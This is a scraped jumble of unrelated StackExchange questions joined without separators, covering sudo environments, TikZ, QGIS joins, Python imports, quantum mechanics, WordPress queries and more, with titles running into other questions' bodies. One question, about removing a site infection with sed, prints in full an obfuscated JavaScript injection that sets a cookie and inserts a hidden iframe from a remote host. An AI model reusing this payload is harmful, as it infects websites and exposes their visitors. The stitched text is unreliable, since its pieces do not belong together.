'Hot' StackExchange questions can be seen , but what exactly is special about them that makes them 'hot'? Many of these 'hot' questions range from 2-20 upvotes, and range from a minute to a week-or-so old. They also have low activity. What's so special about these questions that makes them 'hot'?
I know questions on the "hot" tab of a site homepage are based on some sort of views/velocity criteria, but does anyone know the actual algorithm used?  Background: I was considering a feature-request about the "hot" tab, but I don't have enough information to speak about it intelligently.
Normal text is invisible when using beamer with notes and XeLaTeX I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) List of apps ever downloaded Latexmk can't see a dependency on a .fmt format file When I run sudo, what exactly happens to my environment?  When I run sudo command, it doesn't seem to see my or root's environment. For example, my path for both includes /usr/local/bin, but if I try to run one of the program's without the full path, it fails.  I thought sudo ran as root, and hence got root`s environment. Is there a different way that bash executes under sudo than under root or my normal user?  EDIT:  I have been using sudo -i lately, but recently it has been causing problems because my current working directory gets set to /root. This is as expected (sorta), but I still don't understand why sudo isn't recognizing my executables in /usr/local/bin.  EDIT:  I am running Fedora 15. Bounding box is larger than expected when drawing a curved path I have been working on logo for my department and I have the following code. The problem is that whenever I compile the diagram seems to be larger than the actual logo. I do not know what is the problem. I know the numbers I have selected are not the best but any insights into the matter will be highly appreciated.   \documentclass[letterpaper]{article}  \usepackage[top=2cm,bottom=2cm,left=2cm,right=2cm]{geometry}  %\usepackage{amsmath,amssymb,units}  %\usepackage{enumitem,multicol}  \usepackage{tikz}  %\usetikzlibrary{arrows}  \usepackage{lipsum}   \begin{document}   \lipsum[1-2]  \begin{tikzpicture}[y=0.80pt, x=0.8pt,yscale=-1]  \path[draw=black,fill=white]    (258.9527,290.5199) .. controls (173.9885,538.4766) and (568.5860,261.2969) ..    (306.5098,257.1141) .. controls (44.4337,252.9312) and (429.9845,542.5624) ..    (352.9767,292.0206) .. controls (275.9689,41.4788) and (119.6549,497.6604) ..    (334.1376,346.9999) .. controls (548.6203,196.3394) and (66.4622,188.6439) ..    (276.0276,346.0724) .. controls (485.5930,503.5010) and (343.9169,42.5633) ..    (258.9527,290.5199) -- cycle;  \end{tikzpicture}  \lipsum[1-2]  \end{document}    See image below: Including all the jars in a directory within the Java classpath How to get the length of longest string in an array Joining non-spatial CSV file to spatial data (shapefile) using QGIS? I have a CSV file which has postcode data in a field, but it is non-spatial e.g. no Easting and Northing.   I have a shapefile with postcode in a field and some additional data.  I want to join the CSV with the shapefile based on attributes (postcode fields). I know I can do this in ArcMap, but how can I achieve the same thing in QGIS? SF short story ID, written 40s—60s, primitive aliens who are much smarter than us I'm looking for a story that was probably written somewhere from the 1940s to the 1960s. I think I read it in an anthology, possibly in the 1970s.  A group of human explorers landed on a planet with primitive aliens, living in hunter-gatherer villages. They hoped to make a profit from trading our goods for—well, I'm not clear on what they wanted from the aliens.  The native people learned the human language before the explorers could learn theirs. Then the natives suddenly started producing technological innovations far beyond what they originally used. I remember that wooden sailing ships suddenly replaced their canoes. All the natives had to do was hear a story once from the explorers before copying the technology in the story.  Finally, the explorers realized that the natives were much, much smarter than us and that Earth faced a serious problem.  I'm fairly certain that it wasn't a Heinlein story, but I remember that it had some qualities similar to his work. How to import a module given its name as string? I'm writing a Python application that takes as a command as an argument, for example:  $ python myapp.py command1   I want the application to be extensible, that is, to be able to add new modules that implement new commands without having to change the main application source. The tree looks something like:  myapp/     __init__.py     commands/         __init__.py         command1.py         command2.py     foo.py     bar.py   So I want the application to find the available command modules at runtime and execute the appropriate one.  Python defines an __import__ function, which takes a string for a module name:     __import__(name, globals=None, locals=None, fromlist=(), level=0)      The function imports the module name, potentially using the given globals and locals to determine how to interpret the name in a package context. The fromlist gives the names of objects or submodules that should be imported from the module given by name.       Source:    So currently I have something like:  command = sys.argv[1] try:     command_module = __import__("myapp.commands.%s" % command, fromlist=["myapp.commands"]) except ImportError:     # Display error message  command_module.run()   This works just fine, I'm just wondering if there is possibly a more idiomatic way to accomplish what we are doing with this code.  Note that I specifically don't want to get in to using eggs or extension points. This is not an open-source project and I don't expect there to be "plugins". The point is to simplify the main application code and remove the need to modify it each time a new command module is added. Why must the eigenvalue of the number operator be an integer? My apologies if this question has already been answered. Using the notation of Sakurai, we have an energy eigenket N and an eigenvalue n.  $$N | n \rangle = n | n \rangle$$  For the number operator $N = a^\dagger a $. My question is precisely why does n have to be an integer. I do understand that it must be positive definite due to the norm condition on $ a | n \rangle $:  $$\langle n | a^\dagger a | n \rangle \geq 0$$  I can see that we can show:  $$ a | n \rangle = \sqrt{n-1} | n-1 \rangle $$ and similarly for $a^\dagger | n \rangle$  Sakurai argues that the sequential operation of $a$ operators leads to the form which he does not write, but I will write here for clarity:  $$ a^k | n \rangle = \left(\sqrt{n}\sqrt{n-1}...\sqrt{n-k+1}\right) | n - k + 1 \rangle $$   Since  $$ a|0 \rangle = 0 $$  the sequence must terminate, but can only terminate if n is an integer. How can we make that jump? Is there a formal mathematical proof that the sequence $\left(\sqrt{n}\sqrt{n-1}...\sqrt{n-k+1}\right)$ will terminate if and only if n is an integer? Where is a good place to learn classical optics for high school competitions? I need to learn basic optics for a high school academic competition. Does anyone know any good places, preferably free and online, to learn the basics of optics, like lenses, angles of incidence, etc.? I can't seem to find an MIT OpenCourseWare course addressing the issue. 35km commute possible? Currently, on every other day I commute to work which is a distance of 18km each way. I enjoy this ride but next year I may be moving to a place which will be about 35km from work. Questions:  1) Would it still be reasonable to commute this kind of distance each way once I have moved?  2) Google maps estimates that this distance would take 2 hours to complete. Would it be possible (depending on the bike and fitness) to do this distance in about an hour? Which year does Spider-Man: Homecoming take place in? The first scene of the movie is presumably set in the immediate aftermath of The Avengers. The movie then fast-forwards to '8 years later'.  But Spider-Man already appeared in Civil War as a high school student, which he still is in this movie. So what's the timeline here? If Avengers was set in 2012 and Civil War in 2016, how can Homecoming be in 2020?  Or am I wrong in assuming the canonical timelines of the other movies? block certain dangerous commands? Is true that $\sum_{k=1}^n\frac{[kx]}{k}\leq[nx]$, for every $x\in\mathbb{R}$ and for every $n\in\mathbb{Z}^+$? Is true that $\displaystyle\sum_{k=1}^n\dfrac{[kx]}{k}\leq[nx]$, for every $x\in\mathbb{R}$ and for every $n\in\mathbb{Z}^+$?  My work:  Let $x\in\mathbb{R}$ be given. For every $k=1,\dots,n$, define $i_k\in\{0,1,\dots,k-1\}$ such that  $$ [x]+\frac{i_k}{k}\leq x&lt;[x]+\frac{i_k+1}{k}\hspace{20mm} (*). $$  On one hand, we have that $[kx]=k[x]+i_k$ for every $k=1,\dots,n$.  So  $\displaystyle\sum_{k=1}^n\dfrac{[kx]}{k}=n[x]+\displaystyle\sum_{k=1}^n\dfrac{i_k}{k}=[nx]+\displaystyle\sum_{k=1}^n\dfrac{i_k}{k}-i_n$  Thus  $$\displaystyle\sum_{k=1}^n\dfrac{[kx]}{k}\leq[nx]\Leftrightarrow\displaystyle\sum_{k=1}^n\dfrac{i_k}{k}\leq i_n\,.$$  On the other hand, from $(*)$ is direct that $i_k=[k(x-[x])]$. Thus  $$\displaystyle\sum_{k=1}^n\dfrac{[kx]}{k}\leq[nx]\Leftrightarrow\displaystyle\sum_{k=1}^n\dfrac{[k(x-[x])]}{k}\leq [n(x-[x])]\,.$$  In other words, we can assume that $x\in[0,1)$.   Now the questions is:  Is true that $\displaystyle\sum_{k=1}^n\dfrac{[kx]}{k}\leq[nx]$, for every $x\in[0,1)$ and for every $n\in\mathbb{Z}^+$?  Any simpler approach? Any thoughts? What is a word for "cannot-be-wrong" attitude? When speaking with someone recently I was continuously taken aback by how he could not concede even the slightest detail in my argument (which was not unreasonable), and it happened another time previously. Both times had to do with me pointing out 'error' in his action.  He very much exhibits that 'I cannot be wrong' attitude.  I first thought to call this arrogance or pride but he is not overbearing like arrogance demands and he does not show excessive self esteem that pride demands.  What is a word that can accurately describe this attitude? 2 orderby in wp_query with 2 custom fields I'm triyng to display hotels (taxonomy which i have created) by two 'orderby' with wp_query but i'm not success.  Results looks likes:  Hotel 1 :       2 persons          5 stars Hotel 2 :       2 persons          4 stars Hotel 3 :       2 persons          3 stars Hotel 4 :       3 persons          5 stars Hotel 5 :       5 persons          5 stars Hotel 6:        10 persons         2 stars Hotel 7:        10 persons         1 star   The first 'order by' is on the number of persons(the biggest in first) and the second 'order by' is on the rating in stars (so, if several hotels have the same number of persons, the hotel with the biggest stars rating would be in first).  Below my code. I have tried to add an array inside an array with meta_query but it doesn't work.  $args=             array(                                     'post_type' =&gt; 'hotel',                                     'Services' =&gt; $Services,                                     'Town' =&gt; $Town,                                      'meta_key' =&gt; 'Number_persons',                                     'orderby' =&gt; 'meta_value_num',                                     'order' =&gt; 'ASC',                                        'meta_query' =&gt; array(                                                            array(                                                                'meta_key' =&gt; 'Rating',                                                                'orderby' =&gt; 'meta_value',                                                                'order' =&gt; 'DESC',                                                               )                                                        )                  );   $the_query = new WP_Query( $args );   Thanks a lot :) Make rigid body collide with hair particles